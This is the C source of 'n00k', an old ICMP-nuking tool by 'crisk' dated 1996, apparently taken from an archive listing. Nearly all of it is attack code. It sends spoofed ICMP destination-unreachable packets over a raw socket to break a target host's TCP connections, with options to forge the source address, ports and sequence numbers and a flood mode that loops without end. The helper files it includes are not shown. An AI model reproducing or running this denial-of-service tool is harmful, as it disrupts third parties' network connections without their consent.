home *** CD-ROM | disk | FTP | other *** search
- /*
- * n00k.c
- * by crisk
- *
- * try to icmp-nuke a host using spoofed icmp-unreachable packets.
- *
- * version 0.0.1beta January 1996
- *
- * Possible enhancements:
- * - Automatic/semi-automatic route tracing
- * - Source routing IP (in icmp_pkt.c)
- *
- */
-
-
- /* #define ICMP_PKT_DEBUG */
- #define RESOLVE_QUIET
-
- #include <stdio.h>
- #include <netinet/in.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <unistd.h>
- #include <stdlib.h>
-
- #include "resolve.c"
- #include "icmp_pkt.c"
-
- #define N00K_VERSION "0.0.1beta"
-
- /* GENERAL ROUTINES ------------------------------------------- */
-
- void banner(void)
- {
- printf("\nn00k\n");
- printf("version %s\n",N00K_VERSION);
- printf("by crisk.\n\n");
- }
-
- void usage(const char *progname)
- {
- printf("\nusage: \n");
- printf("%s [-f] [-q seq] [-p sport] [-d dport] <type> <spoof> <dest> <origdest>\n\n",progname);
- printf("\t-f : flood\n");
- printf("\t-q : set the bogus-original tcp sequence# to <seq>\n");
- printf("\t-p : set the bogus-original tcp source port to <sport>\n");
- printf("\t-d : set the bogus-original tcp dest. port to <dport>\n");
- printf("\t<type> : unreachable type (0 to 12)\n");
- printf("\t<spoof> : address of fake ICMP packet sender\n");
- printf("\t<dest> : destination of the unreach message\n");
- printf("\t<origdest> : the faked destination or the orig-tcp packet\n");
- printf("\n");
- }
-
- /* OPTION PARSING -------------------------------------------- */
-
- unsigned char *dest_name;
- unsigned char *origdest_name;
- unsigned char *spoof_name = NULL;
- struct sockaddr_in destaddr;
- unsigned long origdest_addr;
- unsigned long dest_addr;
- unsigned long spoof_addr;
- unsigned char type;
- unsigned sport, dport;
- unsigned long seq;
- char flood = 0;
-
- char *unreachables[] = {"Network unreachable",
- "Host unreachable",
- "Protocol unreachable",
- "Port unreachable",
- "Fragmantation needed and DF set",
- "Source route failed",
- "Network unknown",
- "Host unknown",
- "Source host is isolated",
- "Network administratively unreachable",
- "Host administratively unreachable",
- "Network unreachable - type of service",
- "Host unreachable - type of service"};
-
- int resolve_one(const char *name, unsigned long *addr, const char *desc)
- {
- struct sockaddr_in tempaddr;
- if (resolve(name, &tempaddr,0) == -1) {
- printf("error: can't resolve the %s.\n",desc);
- return -1;
- }
-
- *addr = tempaddr.sin_addr.s_addr;
- return 0;
- }
-
- int resolve_all(const char *origdest,
- const char *dest,
- const char *spoof)
- {
- if (resolve_one(origdest,&origdest_addr,"origdest address")) return -1;
- if (resolve_one(dest,&dest_addr,"dest address")) return -1;
- if (spoof!=NULL)
- if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
-
- destaddr.sin_addr.s_addr = dest_addr;
- destaddr.sin_family = AF_INET;
- destaddr.sin_port = 0;
- }
-
- void give_info(void)
- {
- printf("# target address : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
- printf("# original packet target : %s (%s)\n",origdest_name,inet_ntoa(origdest_addr));
- printf("# spoof-from address : %s (%s)\n\n",spoof_name,inet_ntoa(spoof_addr));
- printf("# bogus TCP source port : %u\n",sport);
- printf("# bogus TCP dest. port : %u\n",dport);
- printf("# bogus TCP sequence no. : %lu\n\n",seq);
- printf("# ICMP unreachable type : %u (%s)\n\n",type,unreachables[type]);
- }
-
- int parse_args(int argc, char *argv[])
- {
- int opt;
-
- char *endptr;
-
- while ((opt=getopt(argc, argv, "fq:p:d:")) != -1) {
- switch(opt) {
- case 'f': flood = 1; break;
- case 'q': seq = strtoul(optarg,&endptr,10);
- if (*endptr != '\0') {
- printf("%s: bad sequence number '%s'\n", argv[0], optarg);
- return -1;
- }
- break;
- case 'p': sport = strtoul(optarg,&endptr, 10);
- if (*endptr != '\0') {
- printf("%s: bad source port number '%s'\n",argv[0],optarg);
- return -1;
- }
- break;
- case 'd': dport = strtoul(optarg,&endptr, 10);
- if (*endptr != '\0') {
- printf("%s: bad dest port number '%s'\n",argv[0],optarg);
- return -1;
- }
- break;
- case '?':
- case ':': return -1; break;
- }
-
- }
-
- if (optind > argc-2) {
- printf("%s: missing parameters\n",argv[0]);
- return -1;
- }
-
- type = strtoul(argv[optind++],&endptr,10);
- if ((*endptr != '\0') || (type>12)) {
- printf("%s: bad unreachable type (0-12 only)\n");
- return -1;
- }
-
- if ((type == 2) || (type == 3)) {
- printf("%s: (warning) unreaches of type 2 and 3 should be host-originated\n\n",argv[0]);
- }
-
- spoof_name = argv[optind++];
- dest_name = argv[optind++];
- origdest_name = argv[optind++];
-
- return 0;
- }
-
-
- /* MAIN ------------------------------------------------------ */
-
- void main(int argc, char *argv[])
- {
- int s;
- int floodloop;
-
- banner();
-
- if (parse_args(argc,argv))
- {
- usage(argv[0]);
- return;
- }
-
-
- resolve_all(origdest_name, dest_name, spoof_name);
- give_info();
-
- s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
-
- if (!flood)
- {
- if (icmp_unreach_send(s,&destaddr,type,spoof_addr,origdest_addr
- ,dest_addr,sport,dport,seq) == -1)
- {
- printf("%s: error sending packet\n",argv[0]); perror(""); return;
- }
- }
- else
- {
- printf("flooding. each dot represents 50 packets\n");
- floodloop = 0;
- while(1)
- {
- usleep(2500);
- if (icmp_unreach_send(s,&destaddr,type,spoof_addr,
- origdest_addr,dest_addr,sport,dport,
- seq++) == -1)
- {
- printf("%s: error sending packet\n",argv[0]); perror(""); return;
- }
-
- if (!(floodloop = (floodloop+1)%50))
- { fprintf(stdout,"."); fflush(stdout);
- }
-
- }
- }
- }
-
-